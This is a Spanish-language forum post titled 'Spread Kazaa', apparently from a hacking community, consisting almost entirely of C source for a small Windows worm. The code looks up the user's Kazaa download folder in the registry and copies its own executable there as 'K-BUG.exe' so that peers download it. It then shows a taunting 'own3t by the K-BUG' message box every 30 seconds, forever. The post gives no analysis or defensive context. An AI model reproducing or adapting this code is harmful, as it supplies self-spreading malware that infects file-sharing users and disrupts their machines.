Spread Kazaa

Iniciado por ANTRAX, Mayo 22, 2011, 09:57:43 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Mayo 22, 2011, 09:57:43 PM Ultima modificación: Febrero 08, 2014, 05:49:11 PM por Expermicid
Código: c
#include "stdafx.h"
#include <windows.h>
#define VIRUS_NAME "\\K-BUG.exe"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{

char path[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH, path, 255);

char kazaa[256];
DWORD klen=sizeof(kazaa);
HKEY hKey;

RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Kazaa\\Transfer",0,KEY_QUERY_VALUE,&hKey);
RegQueryValueEx(hKey,"DlDir0",0,NULL,(PBYTE)kazaa,&klen);
RegCloseKey(hKey);

strcat(kazaa,VIRUS_NAME);

CopyFile(path,kazaa,false);

while(1==1)
{
Sleep(30000);
MessageBox(HWND_DESKTOP,"You have been own3t by the K-BUG","The K-BUG has you.......",MB_OK|MB_ICONQUESTION);
}
return 0;
}